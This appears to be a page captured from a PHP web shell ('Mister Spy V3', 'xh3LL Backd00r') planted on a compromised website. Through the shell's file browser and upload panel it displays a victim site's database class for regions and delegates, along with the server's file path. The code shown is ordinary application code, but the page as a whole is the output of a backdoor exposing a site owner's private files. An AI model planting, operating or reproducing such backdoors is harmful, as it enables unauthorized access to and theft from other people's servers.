Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.regiones.php

<?php 

require_once('class.dbaccess.php');
require_once('class.region.php');
require_once('class.delegados.php');
require_once('class.filter.php');
require_once('class.page.php');

class Regiones extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ((isset($filter['Nombre'])) && ($filter['Nombre'] != ''))
		{
			$sql.= " AND s.Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		}
		
		if ((isset($filter['IdDelegado'])) && ($filter['IdDelegado'] != ''))
		{
			$sql.= " AND s.IdDelegado = " . DB::Number($filter['IdDelegado']);
		}	

		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblRegiones s";
		$sql.= " INNER JOIN tblDelegados r ON s.IdDelegado = r.IdDelegado";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY s.Nombre ASC";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oRegion = new Region();
			$oRegion->ParseFromArray($oRow);
			
			array_push($arr, $oRegion);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
	
	public function GetAllByDelegado(Delegado $oDelegado, array $filter = NULL)
	{
		$arr = array();
	
		$sql = "SELECT s.*";
		$sql.= " FROM tblRegiones s";
		$sql.= " INNER JOIN tblDelegados r ON r.IdDelegado = s.IdDelegado";
		$sql.= " WHERE s.IdDelegado = " . DB::Number($oDelegado->IdDelegado);
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY s.Nombre ASC";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
					
		while ($oRow = $oRes->GetRow())	
		{	
			$oRegion = new Region();
			$oRegion->ParseFromArray($oRow);
			
			array_push($arr, $oRegion);
			
			$oRes->MoveNext();
		}

		return $arr;
	}
	

	public function GetById($IdRegion)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblRegiones s";
		$sql.= " WHERE IdRegion = " . DB::Number($IdRegion);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oRegion = new Region();
		$oRegion->ParseFromArray($oRow);
		
		return $oRegion;		
	}


	public function GetByNombre($Nombre)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblRegiones s";
		$sql.= " WHERE s.Nombre RLIKE " . DB::String($Nombre);	
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oRegion = new Region();
		$oRegion->ParseFromArray($oRow);
		
		return $oRegion;		
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT s.*";
		$sql.= " FROM tblRegiones s";
		$sql.= " INNER JOIN tblDelegados r ON s.IdDelegado = r.IdDelegado";
		$sql.= " WHERE 1";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(Region $oRegion)
	{
		$arr = array
		(
			'IdDelegado' 		=> DB::Number($oRegion->IdDelegado),
			'Nombre' 		=> DB::String($oRegion->Nombre)
		);
		
		if (!$this->Insert('tblRegiones', $arr))
			return false;
			
		return $oRegion;
	}
	
	
	public function Update(Region $oRegion)
	{
		$where = " IdRegion = " . DB::Number($oRegion->IdRegion);
		
		$arr = array
		(
			'IdDelegado' 	=> DB::Number($oRegion->IdDelegado),
			'Nombre' 		=> DB::String($oRegion->Nombre)
		);
		
		if (!DBAccess::UpdateEntidad('tblRegiones', $arr, $where))
			return false;
		
		return $oRegion;
	}


	public function Delete($IdRegion)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdRegion = " . DB::Number($IdRegion);
		if (!DBAccess::DeleteEntidad('tblRegiones', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}
	
	
	public function ExportCsv(array $filter = NULL)
	{
		if (!DBAccess::$db->Begin())		
			return false;
		
		$oDelegados = new Delegados();
		
		$FileName = "Regiones.xls";
		
		header("Pragma: no-cache");
		header("Expires: -1");
		header("Cache-Control: no-store, no-cache, must-revalidate");		
		header("Content-Type: application/x-unknown");
		$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
		header($header);
			
		$arrRegiones = $this->GetAll($filter);
				
		$Separador 	= "\t";
		$SaltoLinea = "\n";
				
		$csv.= "Region";
		$csv.= $Separador;
		$csv.= "Delegado";
		$csv.= $SaltoLinea;
	
		foreach ($arrRegiones as $oRegion)		
		{
			$oDelegado	= $oDelegados->GetById($oRegion->IdDelegado);
			
			$csv.= str_replace('(\t|\n)','', trim($oRegion->Nombre));
			$csv.= $Separador;
			$csv.= str_replace('(\t|\n)','', trim($oDelegado->Nombre));
			$csv.= $SaltoLinea;
		}
		
		DBAccess::$db->Commit();

		print($csv);
		
		return true;	
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat